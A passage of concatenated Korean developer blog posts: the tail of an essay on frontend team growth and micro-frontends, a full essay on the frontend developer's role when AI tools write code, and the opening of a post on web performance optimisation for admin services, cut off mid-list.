때로는 기술적 부채를 쌓아가며 서비스를 만들었음에도, 기능 구현 완료에만 초점이 맞춰진 환경은 저 스스로를 객관적으로 돌아볼 기회를 주지 못했습니다. 이러한 환경에서 반복되는 주관적인 평가는 '나는 프론트엔드 개발자로서 충분한 경지에 올랐다'는 성급한 자기 만족으로 이어지곤 했습니다.

### 현실의 벽 앞에서: 이직과 냉정한 평가

이렇게 스스로의 성장에 한계를 느끼거나 섣부른 만족감에 도달한 개발자들은 이직을 선택합니다. 그리고 이때, 자신의 역량을 진짜로 냉정하게 깨닫게 됩니다. 뛰어난 분들은 더 좋은 기회를 찾아가지만, 많은 경우 회사 업무에만 익숙해져 있던 분들은 시장의 냉정한 평가(서류, 면접)에 직면하고 현실에 안주하거나, 회사 업무는 최소한으로 하면서 이직 준비에만 몰두하는 안타까운 상황으로 이어지기도 합니다.

### 길잡이의 부재: 시니어와 리더의 역할

저는 '프론트엔드 개발자로서 성취와 목표감을 느끼지 못한다'는 문제의 핵심 중 하나가, **팀원의 성장을 객관적으로 독려하고 때로는 현재의 부족함을 건설적으로 지적하며 함께 나아갈 방향을 제시해 줄 수 있는 시니어와 리더의 역할 부재**에 있다고 생각합니다. (물론, 진심 어린 조언을 듣지 않는다면 개인의 문제겠지만요.)

이러한 생각 이후, 저는 동료들과 제 자신에게 끊임없이 성장 자극을 주려고 노력합니다. 예를 들어, 이런 질문들을 던지는 거죠.

- "이 기능은 잘 오픈했네요. 그런데 혹시 리액트 렌더링 최적화는 충분히 고려되었을까요?"
- "라이트하우스가 지적하는 성능 병목 지점은 개선할 여지가 없을까요?"
- "다양한 사용자 환경(저성능 기기, 느린 네트워크)에서의 사용성은 어떨까요?"
- "사용자의 성능 정보를 수집하려면 어떻게 해야 할까요?"
- "우리가 배운 것을 팀 내외부에 공유할 수 있는 글이나 발표로 정리해보는 것은 어떨까요?"
- "주니어 개발자들의 성장을 도울 수 있는 멘토링에는 어떤 준비가 필요할까요?"

이는 '채찍질'이라기보다는, 완성된 결과물 너머의 깊이를 함께 탐색하며 **함께 성장하기 위한 건설적인 자극**입니다.

### 프론트엔드, 그 광대한 웹 생태계

프론트엔드 개발은 단순히 특정 프레임워크를 이해하고 CRUD를 구현하는 것에서 끝나지 않습니다.

- **빠르게 진화하는 기술 트렌드:** 꾸준히 학습하고 적극적으로 따라잡아야 합니다.
- **최적의 사용자 경험:** 서버라는 안정적인 지원 없이도 이를 만들어내야 합니다.
- **다양한 전문 분야:** 검색엔진 최적화(SEO), 웹 접근성, 그리고 최근 각광받는 AI 기술 접목까지.

이 광대한 웹 생태계에서 배울 것은 끝이 없고, 저 역시 매일 부족함을 느낍니다. 만약 중간관리자로서 동료들에게 더 이상 새로운 도전 의욕이나 성장 동기를 부여하지 못한다면, 그들이 다른 환경을 모색하는 것은 당연한 일일지도 모릅니다.

### AI 시대, 개발의 본질은 무엇일까?

최근 Copilot 같은 AI 도구의 등장은 많은 개발자에게 '나의 역할은 무엇인가?'라는 질문을 던지고 있습니다. 단순 CRUD 업무가 자동화되면서, 개발의 의미와 목표 설정에 대한 고민이 깊어지는 것은 자연스러운 일입니다.

하지만 이는 위협이라기보다 개발의 본질에 더 집중할 기회입니다. AI가 코드 작성의 '어떻게'를 덜어주면서, 우리는 '무엇을, 왜' 만들어야 하는지에 더 깊이 파고들 수 있게 되었습니다.

이제 개발자의 진정한 가치는 단순히 코드를 짜는 것을 넘어, 복잡한 문제를 정의하고, 견고한 시스템을 설계하며, 사용자 경험을 깊이 이해하고, 나아가 AI를 비판적으로 활용하여 더 나은 결과물을 만드는 능력에 있습니다. 결국 AI 시대는, 단순 반복을 넘어서는 깊이 있는 학습과 끊임없는 호기심, 그리고 복잡한 문제 해결 능력이 개발자의 핵심 경쟁력임을 더욱 분명히 보여주고 있습니다.

### 개인적인 경험: 모놀리식에서 마이크로 프론트엔드로

현재 회사에 처음 합류했을 때 비슷한 어려움이 있었습니다. 거대한 모놀리식 저장소에 모든 서비스가 얽혀 있어 코드 변경의 영향 범위를 파악하기 어려웠고, 성능 관리는 거의 이루어지지 않아 사용자 불만이 많았습니다.

이후 팀에서는 논의를 거쳐 주요 서비스 단위로 분리하고, 각 서비스에 별도의 저장소와 URL을 부여하여 담당 팀 또는 개발자에게 **책임과 권한을 함께 부여하는 마이크로 프론트엔드 방식**을 채택했습니다. '이 서비스의 기술적 방향과 품질은 우리 팀이 주도적으로 만들어간다'는 주인의식을 심기 위함이 었습니다.

물론, 팀 전체의 기술 표준과 가이드라인을 설정하고, 주기적인 공유와 코드 리뷰를 통해 파편화를 막고 일관성을 유지하는 노력도 병행했습니다. 목표는 명확했습니다. **서비스 전체의 성능을 개선하고, 배포 과정을 더 안정적이고 가볍게 만드는 것.**

이러한 변화는 레거시 시스템에서는 시도하기 어려웠던 다양한 기술(함수형 프로그래밍, 차세대 프레임워크 기능, 새로운 상태 관리 패턴 등)을 자율적으로 탐색하고 적용해볼 기회를 제공했습니다. 시행착오와 성공 경험들은 팀원 각자의 소중한 자산이 되었고, 이를 공유하며 **함께 성장하는 문화를 만들 수 있었습니다.**

이 과정에서 자연스럽게 모노레포, 공통 유틸리티 라이브러리, 디자인 시스템의 필요성이 대두되었고, 이 문제들을 해결하며 번들러, 빌드 시스템 등 웹 개발의 더 깊은 영역을 학습하게 되었습니다. 팀원들은 '내가 하던 프론트엔드 업무는 웹 개발의 아주 작은 부분이었구나'라는 깨달음을 얻으며 시야를 넓혔습니다. AI 도구의 도움을 받는다면, 이 학습 시간은 훨씬 단축될 수도 있을 것입니다.

### 새로운 도전, 함께 만드는 성장 문화

혹시 팀원들이 목표와 성취감을 잃고 있다면, 늘 하던 유지보수 업무 외에 **새로운 기술적 도전 과제를 작게라도 시작해볼 수 있도록 독려하고 지원**해보시는 건 어떨까요?

- "최근 사용자 성능 지표에서 개선할 부분을 발견했는데, 함께 원인을 분석하고 개선해보면 재미있을 것 같지 않나요?"
- "우리 서비스의 특정 부분이 기술 부채가 많은데, 이번에 새로운 기술 스택을 소규모로 적용해서 점진적으로 리팩토링해보는 파일럿 프로젝트를 진행해볼까요?"
- "외부에서는 이런 기술이 핫하다던데, 조그만 서비스를 만들어서라도 새로운 프레임워크를 적용해 보면 어떨까요?"

완벽한 시니어 리더가 없어도 괜찮습니다. 중요한 것은 **팀원들 스스로가 주도적으로 현재 상황에 대해 끊임없이 토론하고, 더 나은 방향을 함께 모색하는 문화를 만드는 것**입니다. 이 과정 자체가 개발자로서의 역량 향상에 큰 도움이 됩니다.

### 끊임없는 질문과 호기심: 우리의 진정한 경쟁력

개발자 스스로에게, 그리고 동료들에게 끊임없이 질문을 던지세요. 새로운 것을 시도하며 함께 성장할 수 있도록 서로 응원하고 지지하는 환경을 만들어주세요.

- 익숙한 코드의 내부 동작 원리를 깊이 파고들기
- 복잡하게 압축된 소스 코드를 분석해보기
- "왜 이렇게 만들었을까?", "더 좋은 방법은 없었을까?" 근본적인 질문 던지기

이러한 과정들이 잃어버렸던 호기심을 되찾고 한 단계 더 성장하는 원동력이 될 것입니다. 그리고 이 깊이 있는 고민과 성찰이야말로, 급변하는 AI 시대에 우리 프론트엔드 개발자들의 **진정한 경쟁력**이 될 것이라 믿습니다.

---

Source: https://yceffort.kr/2025/05/what-to-do-as-frontend-developer-in-ai-era.md
Title: AI가 코드를 작성해 주는 시대, 프론트엔드 개발자인 나는 무엇을 해야 할까?
Description: 미래는 나도 모르겠지만, 그냥 열심히 개발하면 되지 않을까?
Date: 2025-05-19
Tags: essay, ai, career, frontend

## Table of Contents

> - 다음은 한 개발자분께 받은 질문과 그에 대한 답변 메일을 블로그 형식으로 각색한 글입니다.
> - AI 가 작성하지 않은 글입니다 😄

요즘 하루가 멀다하고 각종 블로그, 아티클, 영상에 AI는 물론이고, AI가 외부 도구와 연동하는 프로토콜인 MCP, AI 에이전트끼리 자율적으로 협업하는 Agent to Agent 등 다양한 기술 이야기가 끊임없이 쏟아지고 있다. 개발자인 내가 보는 대부분의 아티클은 'AI 기술을 도입했더니 생산성이 큰폭으로 향상되었어요' 라는 식의 최신 기술을 홍보하는 내용이 절반 정도, '이제 빅 테크 기업이 개발자를 대량으로 해고하고 있다' 라는 일종의 공포감과 긴장감을 조성하는 글이 절반 정도 인 것 같다.

사실 이러한 흐름은 AI 를 개발하지 않는 비 AI 개발자 입장에서는 마냥 달가운 일만은 아닐 것이다. 이러한 기술 발전이 개인의 노력만으로는 따라가기 벅찬 구조적인 변화와 그로 인한 고용 시장의 불안정성에 대한 우려를 동반하기 때문이다. 비개발자 출신의, 소위 말하는 바이브 코더가 '개발 하나도 모르는데 이 정도 서비스를 만들었어요'를 보면서, 저렇게 완성도 없는 서비스를 만들어도되나? 하는 어줍잖게 보는 시선 한편에는, 분명 내가 하는일이 언젠가 또는 머지않은 미래에 AI 로 대체 될 수 있을지도 모른다는 불안감이 모두들 조금씩은 있을 것이다.

## AI와 함께하는 개발

그래서 나는 어떤가? 솔직히 나는 요즘 개발하는게 예전보다 훨씬 더 재밌어졌다. 성격상 코드가 어떻게 동작하고 있는지 밑바닥 까지 뜯어보지 않는 이상 성에 차지 않는 경우가 많았는데, AI가 등장하기 전에는 이 밑바닥 까지 탐험하는 데 드는 시간이 너무나도 오래걸렸고, 이 때문에 내가 코딩할 시간에 뭐하고 있는거지? 싶은 생각이 자주 들어 중도에 포기하기 일쑤 였다.

이러한 작업은 리액트 deep dive 를 쓸 때 특히 고역이었다. 책은 한 줄도 못썼는데, 코드를 뒤적거리고, 내가 작성한 내용이 맞나 확인하기 위하여 너무나도 많은 시간을 보냈다. 물론 그 시간이 재미가 없었던 것은 아니다. 다만 내가 조금 더 똑똑하고 이해가 빨랐다면 더 많은일을 할 수 있었지만, 그렇지 못해서 아쉬웠을 뿐이다.

하지만 요즘 책을 쓰는 것은 다르다. AI 덕분에 다른 사람이 작성한 코드를 이해하는 속도가 이전과는 비교할 수 없을 정도로 빨라졌다. 예전에는 코드의 세세한 부분을 파악하고 그 내용이 맞는지 검증하느라 정작 글 자체에 집중하기 어려웠던 순간들이 많았다. 하지만 이제는 AI의 도움을 받아 이러한 사실 검증에 드는 시간을 크게 줄이고, 오롯이 책을 쓰는 행위 그 자체에 더 집중할 수 있게 되었다.

마치 똑똑한 조수가 옆에서 자료 조사를 빠르게 도와주는 느낌이랄까. 물론 이 똑똑한 조수가 때로는 엉뚱한 정보를 가져오거나 중요한 맥락을 놓치기도 해, 맹신은 금물이지만 말이다. 조사한 자료를 모으고, 책에 실을 만큼 중요한 내용인지 옥석을 가리고, 독자로 하여금 와닿을 수 있도록 하는 글쓰기의 본질에 더욱 집중할 수 있게 되었다.

> 그렇다고 책의 퀄리티가 엄청나게 좋아질 거라는 것은 아니다. 여전히 글 작성은 어렵다.

이러한 변화는 개발 업무에서도 마찬가지로 나타나고 있다. 새로운 라이브러리나 프레임워크를 익힐 때, 또는 레거시 코드를 분석해야 할 때 AI는 강력한 탐색 도구가 되어준다. 덕분에 예전보다 훨씬 빠르게 코드의 구조를 파악하고 핵심 로직을 이해할 수 있게 되었으며, 이는 곧바로 생산성 향상으로 이어지고 있다.

단순히 시간을 아껴주는 것을 넘어, 예전에는 엄두도 내지 못했을 깊이 있는 분석이나 다양한 시도를 해볼 수 있는 여유까지 생긴 셈이다. 오히려 AI는 내가 하고자 하는 일의 본질에 더욱 집중할 수 있도록 도와주는 훌륭한 파트너가 되어주고 있다.

## AI는 마약을 한 주니어 개발자

물론, AI가 만능 해결사는 아니다. 혹자가 말하는 'AI는 마치 마약을 한 주니어 개발자와 같다'는 비유에 어느 정도 동의한다. AI는 엄청나게 열정적이고 적극적이며, 지치지도 않으면서 다방면에 걸쳐 도움을 주려고 하지만, 때로는 편향된 데이터를 학습한 결과 편향된 시각을 드러내거나, 당당하게 틀린 말을 외치거나, 보안상 허술한 코드를 제안하기도 한다.

결국 그 결과물에 대한 검증과 책임은 온전히 나의 몫으로 남는다. 때로는 너무나도 그럴듯한 거짓말을 당당하게 내뱉기도 해서, 모든 정보를 꼼꼼히 확인해야 하는 수고로움은 여전히 존재한다. 이 녀석이 가져다주는 정보가 정말 '팩트'인지, 아니면 그저 환각을 보고 떠드는 소리인지 가려내는 안목이 중요해진 것이다.

AI가 제공하는 정보의 홍수에서 핵심을 선별하고, 그 결과물을 맹신하는 대신 비판적으로 검토하며 올바른 방향으로 이끌어가는 것이 이제 개발자의 새로운 핵심 역량이 된 것이다. 이는 단순히 코드를 생산하는 것을 넘어, AI라는 강력한 도구를 효과적으로 질문하고 활용하여 문제 해결의 질을 높이는 능력을 요구한다.

## 할 일은 줄어들지 않는다

그렇다고 AI의 도움으로 개발 효율성이 높아져 우리가 할 일이 줄어들 것이라고 생각하지는 않는다. 오히려 이는 '[제본스의 역설(Jevons Paradox)](https://ko.wikipedia.org/wiki/%EC%A0%9C%EB%B3%B8%EC%8A%A4%EC%9D%98_%EC%97%AD%EC%84%A4)'과 맞닿아 있을지도 모른다. 특정 기술의 효율이 증가하면 그 기술을 사용하는 비용이 낮아져 결국 해당 자원의 총 소비량이 오히려 증가하는 현상처럼 말이다.

AI가 개발의 특정 부분을 자동화하고 효율화할수록, 우리는 이전에는 상상하지 못했던 더 복잡하고 새로운 요구사항을 마주하게 되거나, 더 많은 소프트웨어를 더 빠르게 만들어내야 하는 상황에 놓일 가능성이 높다. 다만, 이러한 변화가 모든 개발자에게 동등한 기회로 작용할지, 혹은 소수의 숙련된 개발자에게 업무가 집중되거나 기업의 인력 운용 방식에 다른 영향을 미칠지에 대해서는 지속적인 관심과 논의가 필요하다.

## 과거 기술 변화의 교훈

이러한 논의의 연장선에서, 과거 기술 변화의 역사에서도 비슷한 우려와 적응 과정이 반복되었다는 점을 상기할 필요가 있다. 자동완성 기능이 처음 나왔을 때 '라이브러리에 대한 깊이 있는 지식이 부족해질 것'이라는 걱정이 있었고, IDE가 보급될 때는 '프로그램 빌드 과정을 이해하지 못할 것'이라는 목소리도 있었다. 심지어 80년대에는 '내가 직접 짜지 않은 코드는 신뢰할 수 없다'는 것이 모토이기도 했다.

이런 관점에서 보면, Copilot과 같은 AI 도구들도 결국은 이 연장선에서 봤을 때는 또하나의 엄청 똑똑한 도구일 뿐이며, 어떻게 사용하느냐에 따라 그 효용이 달라질 것이다. 어떤 이들은 단순한 프롬프팅을 넘어 그 이상의 것을 배우려 노력할 것이고, 반면 어떤 이들은 AI가 생성한 코드를 깊이 있는 이해 없이 그저 복사-붙여넣기 식으로 활용하여 당장의 문제는 빠르게 해결할지라도, 장기적으로는 자신의 근본적인 문제 해결 능력 향상 기회를 놓칠 수도 있을 것이다.

이렇게 본다면, 결국 지금 등장하는 AI 역시 과거 프로그래밍을 보다 더 쉽고 간단하게 하기 위한 도구에 지나지 않을 수도 있다. 완벽한 코드 에디터가 모두에게 완벽한 프로그래밍 실력을 주는 것이 아니듯, 완벽한 AI가 등장한다고 해서 반드시 완벽한 서비스가 만들어지는 것은 아닐 것이다. 하지만 천공카드에서 개발하던 시절보다 지금이 더 많은 것을 할 수 있는 것처럼, 미래에 우리는 AI와 함께 더 많은 가능성을 실현시킬 수 있을 것이다.

## 본질에 집중하기

이처럼 AI가 가져올 미래에 대한 다양한 예측과 기대, 그리고 우려가 공존하는 상황을 고려할 때, 결국 중요한 것은 AI라는 도구를 활용해 자신의 개발 학습 효율을 이전보다 끌어올리고, 문제 해결의 본질에 더 깊이 파고들어야 한다는 점이다. 이전에는 시간이나 능력의 한계로 시도조차 못 했던 일들을 이제는 내가 해내야만 하는 시대가 온 것이다.

이는 단순히 기술 습득 속도만을 의미하는 것이 아니라, 논리적 사고, 복잡계 문제 해결 능력, 그리고 창의성을 포함하는 총체적인 성장을 의미한다. 단순 반복 작업을 AI에게 맡기고, 나는 더 창의적이고 본질적인 문제 해결에 집중하며 새로운 가치를 만들어내야 한다.

AI를 통해 얻은 시간을 단순히 여가로 돌리는 것이 아니라, 더 높은 수준의 기술을 연마하고, 더 넓은 시야를 갖추는 데 투자해야 하는 것이다. 만약 과거와 같이 여전히 리액트 컴포넌트, 훅을 기반으로 페이지를 만들어내는 수준에 머물게 된다면, 이는 곧 시대의 속도에 뒤쳐지게 된다는 것을 의미하며, 프론트엔드 개발자로서의 커리어를 고민해봐야할 수도 있다.

인간이라면 누구나 미래의 불확실성을 두려워 하고 예측하여 미리 대비하고 싶어하지만, 기술의 발전 속도를 정확히 예측하는 것은 불가능에 가깝다. 그렇다면 우리가 선택할 수 있는 최선의 방법은 이 거대한 변화의 시류를 누구보다 빠르게 인지하고 그 위에 올라타는 것뿐이다. AI는 위협이 될 수도 있지만, 동시에 엄청난 기회가 될 수도 있다. 이 사실을 받아들이고 적극적으로 활용하는 자세가 그 어느 때보다 중요해졌다.

물론, 이러한 개인의 노력과 더불어 우리가 만들어갈 미래에는 또 다른 중요한 변수가 있다. 바로 우리가 속한 조직, 즉 회사가 AI 시대에 개발자들의 성장을 어떻게 지원하고 역할을 재정의하는지다.

기업은 이윤을 추구하는 조직이기에 단기적인 효율성과 비용 절감에 집중할 유인이 크다는 현실을 외면할 수는 없다. 하지만 기업이 AI를 어떻게 받아들이고 구성원들의 역량 강화에 투자하며 성장 기회를 제공하는지가 개발자의 미래에 더 큰 영향을 미칠 수 있다. 결국 개인의 노력만큼이나, 조직이 이 변화를 어떻게 수용하느냐가 개발자의 미래를 좌우할 것이다.

## 프론트엔드 개발자가 정말 필요 없어질까?

이러한 맥락에서, '이제 AI가 발전했으니 프론트엔드 개발자는 더 이상 필요 없는 것 아닐까?' 혹은 '우리가 관리하는 서비스는 복잡하지 않고 단순해서 AI로 충분히 대체 가능할 것 같은데?' 라고 생각하는 분들이 계실지도 모겠다. 만약 진심으로 그렇게 생각하신다면, 저는 그 상황이 다음 둘 중 하나일 가능성이 높다고 말씀드리고 싶다.

첫째는, 정말로 경쟁자가 아무도 없는, 그야말로 '무혈입성'이 가능한 독점적인 시장에서 사업을 하고 있는 경우. 이런 경우는 축복받은 상황이지만, 현실적으로 얼마나 지속될 수 있을지는 미지수다.

둘째는, AI 시대에 이미 훨씬 높아진 사용자들의 눈높이를 전혀 맞추지 못하는, 그저 그런 단순한 서비스를 만들고 있는 경우. 여기서 단순함이란, 사용자의 특정 필요를 명확히 해결하는 잘 설계된 간결함이 아니라, 시장의 기대에 미치지 못하는 기능적, 질적 부족함을 의미한다.

그리고 만약 후자라면, 그 서비스는 AI가 대체해서 사라지는 것이 아니라, 높아진 사용자의 기준을 만족시키지 못해 시장에서 자연스럽게 도태될 것이다. 오늘날 사용자는 과거보다 훨씬 더 정교하고 개인화된 경험을 원하며, 이러한 기대치는 AI 기술의 발전과 함께 계속해서 상승하고 있기 때문이다. AI로 '충분히' 대체 가능하다고 여겨지는 단순함은, 어쩌면 이미 시장의 외면을 받고 있다는 신호일지도 모른다.

## 프론트엔드 개발자의 역할

따라서 지금 우리 프론트엔드 개발자들에게 필요한 것은, AI의 등장을 막연히 두려워하거나 반대로 '모든 것을 해결해 줄 것'이라는 섣부른 기대를 갖는 것이 아니다. 오히려 AI를 가장 적극적으로 활용하여 이전보다 훨씬 빠르게 새로운 기술과 지식을 학습하고, 우리가 만드는 서비스와 사용자에게 진정으로 필요한 가치가 무엇인지 끊임없이 탐구하며 기민하게 적용하는 능동적인 자세가 필요하다.

이는 기존의 일부 반복적인 코딩 작업이 AI로 대체될 수 있음을 인정하고, 대신 인간 개발자만이 제공할 수 있는 깊이 있는 사용자 공감 능력, 창의적인 인터랙션 설계, AI 결과물에 대한 냉정한 판단과 같은 고차원적 역량에 집중하는 것을 의미한다.

특히 프론트엔드 영역에서 AI의 한계는 뚜렷하다. AI가 생성한 UI 코드는 시각적으로는 그럴듯해 보이지만, 스크린 리더 지원이나 키보드 네비게이션 같은 접근성을 간과하거나, 다양한 디바이스에서의 반응형 대응이 미흡한 경우가 많다. 복잡한 컴포넌트 간의 상태 흐름을 설계하고, 수십 개의 컴포넌트가 유기적으로 동작하는 디자인 시스템을 구축하며, 번들 사이즈와 렌더링 성능을 최적화하는 일은 여전히 깊은 도메인 지식과 경험을 필요로 한다.

예를 들어, AI가 특정 기능을 빠르게 구현하기 위해 코드를 생성했더라도, 이 코드가 대규모 트래픽 상황에서 성능 병목을 유발하거나 장기적으로 유지보수가 어려운 기술 부채를 쌓을 가능성은 없는지 면밀히 살펴야 한다. 데이터 구조를 최적화하거나 보다 지속 가능한 아키텍처를 적용하는 판단은 여전히 개발자의 몫이다.

또한 실제 운영 환경에서 발생할 수 있는 다양한 예외 상황—불안정한 네트워크 환경이나 예기치 않은 사용자 입력—과 잠재적인 보안 위협을 미리 예측하고 견고한 방어 로직을 설계하는 일, 그리고 성능 테스트와 프로파일링을 통해 서비스의 안정성을 꼼꼼히 검증하고 최적화하는 작업 역시 개발자만이 수행할 수 있는 역할이다.

이는 단순히 기술적 숙련도를 넘어, 복잡한 문제를 정의하고 해결하는 능력, 동료와 효과적으로 소통하고 협업하는 능력, 그리고 AI가 제시하는 다양한 가능성 속에서 최적의 길을 찾아내는 사고력과 같은 소프트 스킬의 중요성이 더욱 커짐을 의미한다.

AI는 결코 프론트엔드 개발자를 대체하기 위한 기술이 아니라, 우리가 더 나은 사용자 경험을 만들고, 더 복잡한 문제를 해결하며, 궁극적으로 더 큰 가치를 창출할 수 있도록 돕는 강력한 도구다. 이 도구를 어떻게 활용하여 스스로를 발전시키고, 사용자를 만족시키는 서비스를 만들어낼 것인가는 바로 우리 손에 달려있다.

변화의 파도 속에서 AI라는 서핑보드를 타고 조금씩 전진해보자. 미래에 어떤 파도가 올지 모르지만, 당장 지금 개발이라는 서핑을 하기에는 그 어느 때 보다 재밌고 짜릿한 시대임에는 분명하다. 일단 나는, 그 어느 때 보다 재밌다.

하지만 이 즐거움이 모두에게 동등하게 주어지지 않을 수 있다는 현실을 인지하며, AI가 가져올 변화의 그림자에 대해서도 우리 사회 전체의 지혜를 모아 함께 대비해야 할 것이다.

---

## 프론트엔드 개발자 동료분들께

AI를 단순한 위협으로 여기기보다, 우리의 역량을 한 차원 높여줄 협업 도구이자 창의적 파트너로 받아들이시길 바랍니다. 사용자의 기대를 뛰어넘는 섬세한 경험을 설계하고, 복잡한 인터랙션을 창의적으로 해결하며, 비즈니스 요구사항을 시각적으로 가장 효과적이면서도 성능 효율적으로 구현하는 일은 여전히 우리의 핵심 역량입니다.

AI를 활용해 반복적인 작업은 과감히 위임하고, 그렇게 확보한 시간으로 더 깊이 있는 사용자 연구, 데이터 기반의 UI/UX 개선, 성능 병목 지점 분석, 그리고 접근성 높은 인터페이스 구축에 힘쓰시길 바랍니다.

또한 팀 내에서 AI 활용 사례와 프롬프트 노하우를 적극적으로 공유하고, AI가 생성한 코드의 리뷰 기준을 함께 정립해 나가는 것도 중요합니다. AI 시대의 코드 리뷰는 단순한 스타일 점검을 넘어, AI가 놓치기 쉬운 맥락—서비스의 비즈니스 로직, 사용자 시나리오, 장기적 유지보수성—을 검증하는 과정이 될 것입니다. 이러한 경험을 동료들과 나누는 사람이 결국 더 멀리, 더 함께 나아갈 것입니다.

## 주니어 개발자, 그리고 예비 개발자분들께

AI 시대에 개발자의 꿈을 키우는 여러분, 어쩌면 지금의 변화가 새로운 기회로 가득한 설렘과 동시에 한편으로는 막막함으로 다가올 수도 있을 겁니다. 분명한 것은 AI가 여러분의 성장 경로뿐만 아니라, 주니어 개발자를 바라보는 시선과 평가의 기준까지도 새롭게 정의하고 있다는 사실입니다.

과거에는 '얼마나 많은 기능을 빠르게 구현했는가'가 주목받았다면, 이제는 '코드를 얼마나 깊이 이해하고, 높은 품질의 결과물을 만들어내는가'가 여러분의 가치를 더욱 빛나게 할 것입니다. AI와의 협업 과정에서 얼마나 정교한 질문을 던지고, 그 결과물을 면밀히 검증하여 개선하는지가 중요합니다.

문제를 해결하는 과정에서 언제 AI의 도움을 현명하게 구하고, 언제 스스로의 논리적 사고를 깊게 파고드는지 그 균형점을 찾아나가는 모습이 여러분의 잠재력을 보여줍니다. 특히 AI가 제시하는 정보가 항상 완벽하지 않기에, 잘못된 답변이나 어색한 코드를 간파하고 이를 올바르게 수정하거나 더 나은 해결책을 찾아나서는 경험이야말로 가장 확실한 성장의 증거가 될 것입니다.

AI는 여러분에게 강력한 커리어 촉진제가 될 수 있습니다. 과거 3년이 걸려 도달할 수 있었던 생산성과 자율성을 AI의 도움으로 약 1년 만에도 갖추며 빠르게 성장하는 것이 가능해졌습니다. 물론 이러한 빠른 변화 속에서 전통적인 멘토링 방식이 점차 줄어드는 것이 장기적으로 어떤 영향을 미칠지, 혹은 미래에는 더 작고 효율적인 팀으로 변화하여 경쟁이 심화될 가능성 등은 우리 모두 함께 고민하고 답을 찾아가야 할 숙제입니다.

그렇기에 여러분께 드리고 싶은 핵심은 변하지 않습니다. 프로그래밍의 기본 원리와 개념을 탄탄히 쌓는 것이 그 무엇보다 중요합니다. 그 위에 AI라는 강력한 날개를 달아, 복잡한 지식을 더 빨리 흡수하고, 더 많은 것을 시도하며, 자신만의 성장 스토리를 써내려 가십시오. AI를 단순히 코드를 대신 짜주는 도구가 아닌, 여러분의 생각을 확장시키고 학습을 돕는 파트너로 여기며, AI의 제안을 맹신하기보다 자신만의 논리로 재해석하고 발전시키는 연습을 하십시오. 끊임없이 질문하고 탐구하는 자세를 갖는다면, AI 시대는 분명 여러분에게 더 큰 기회의 바다가 될 것입니다.

## 기업의 미래를 함께 고민하는 인사팀 담당자분들께

과거에도 그래왔지만, 최근 AI로 인한 불확실성 증대로 인해 많은 기업들이 당장의 프로젝트 효율성과 단기적 효용성을 위해 '시니어 개발자 위주의 채용'을 우선시하는 경향이 뚜렷합니다. 물론 숙련된 시니어의 즉각적인 투입은 가시적인 성과를 빠르게 가져올 수 있습니다.

그러나 이러한 전략은 장기적으로 신규 및 중간 경력 개발자들이 다양한 실전 경험을 통해 배우고 도전하며 조직의 허리층으로 성장할 수 있는 귀중한 기회를 박탈합니다. 이는 곧 조직의 기술 전수 단절, 새로운 관점과 아이디어의 부재로 이어져 혁신 역량을 저해하며, 결국 기업의 지속 가능한 성장을 가로막는 핵심적인 위험 요인이 됩니다. 따라서 이러한 단기적 관점의 인재 운용 방식은 반드시 재고되어야 한다고 생각합니다.

더욱 근본적으로 중요한 것은, AI 시대의 개발자를 '언젠가 AI로 대체될 수 있는 단순 반복 인력'으로 바라보는 관점에서 벗어나, 'AI로 인해 그 역할이 더욱 중요해지고 확장되는 핵심 전략 인재'로 인식의 대전환이 필요하다는 것입니다. AI를 효과적으로 활용하고 그 결과물을 통제하며 발전시킬 수 있는 인재를 모든 레벨에서 육성하는 것이야말로, AI 시대의 불확실성을 기회로 전환하는 가장 확실한 투자입니다.

따라서 이제 기업은 개발자들이 AI와 효과적으로 협력하여 새로운 시너지를 창출할 수 있도록 역할을 재정의하고, 모든 레벨의 개발자들이 이 변화의 물결에 성공적으로 적응하며 함께 성장할 수 있는 시스템 구축과 과감한 투자에 집중해야 합니다. 기업의 미래를 위한 가장 확실한 투자는 결국 '사람'에 대한 믿음과 육성에서 시작된다는 점을 기억해주셨으면 좋겠습니다.

## 참고

- [제본스의 역설 - 위키백과](https://ko.wikipedia.org/wiki/%EC%A0%9C%EB%B3%B8%EC%8A%A4%EC%9D%98_%EC%97%AD%EC%84%A4)
- [Jevons paradox - Wikipedia](https://en.wikipedia.org/wiki/Jevons_paradox)

---

Source: https://yceffort.kr/2025/05/web-performance-analysis-2.md
Title: 웹 서비스 성능 분석 (2)
Description: 관심 가져주셔서 감사합니다. 🙇🏻‍♂️
Date: 2025-05-12
Tags: web-performance, javascript, nextjs
Series: 웹 서비스 성능 분석

## 실제 개발자 피드백

### 글이 많이 도움이 되었는지

실질적으로 많은 도움이 되었습니다. lodash와 같이 트리쉐이킹이 되지 않는 라이브러리의 대체, 네임스페이스 사용 등은 바로 적용하여 테스트 해볼 수 있는 최적화 방안이라는 생각이 들었습니다. 답변주신 다른 방안들도 차례로 적용 및 비교해 볼 예정입니다.

### 다른 개발자에게 이 성능 분석을 추천할 수 있을지

결론부터 말씀 드리면 다른 분들에게 추천 가능하고, 또 추천할 예정입니다. 사이트의 최적화에 대해서 막연하게 필요성은 느끼고 있지만 적확한 분석 방안과 최적화 방안에 대해 알지 못해 부분적인 처리만 하는 경우가 많다고 생각 됩니다. 각 사이트 별로 적절한 방안을 제안 받을 수 있기 때문에 실제로 추천할 예정입니다.

### 추가적으로 궁금한 내용

> 현재 Admin 서비스도 운영 중인데, 이런 에디터/ B2B 중심 웹서비스에서 성능 최적화를 할 때 서비스와 전략이 달라지는 부분이 있다면 어떤 것이 있을까요?

어드민 서비스의 경우 사용자의 특성, 패턴, 그리고 목표가 다르기 때문에 조금 다른 전략이 필요합니다. 물론 모든 웹서비스가 똑같이 성능을 위해 모든 방면에서 최선을 다하면 좋겠지만, 현실적으로 업무에 쏟는 시간이나 인력이 제한적이기 때문에 (어드민이라면 특히 관심 밖일 수도 있습니다.) 다음의 것을 고려해보시면 좋을 것 같습니다.

1. 가장 중요한 것: 로그인 후 주요 기능 사용시에 인터랙션 및 성능 (INP, TTI 위주)

   어드민의 경우 에디터를 통한 글자 입력, 파일 업로드 등을 사용하는 경우가 많기 때문에 이 기능을 이용하는 동안 버벅임이나 입력지연, 느린 화면 전환등이 없어야 합니다. 복잡한 계산이나 DOM 조작으로 인하여 메인스레드에 부담을 주지 않으시는 것을 고려해보시기 바랍니다.

2. 공격적인 코드 분할 및 지연 로딩

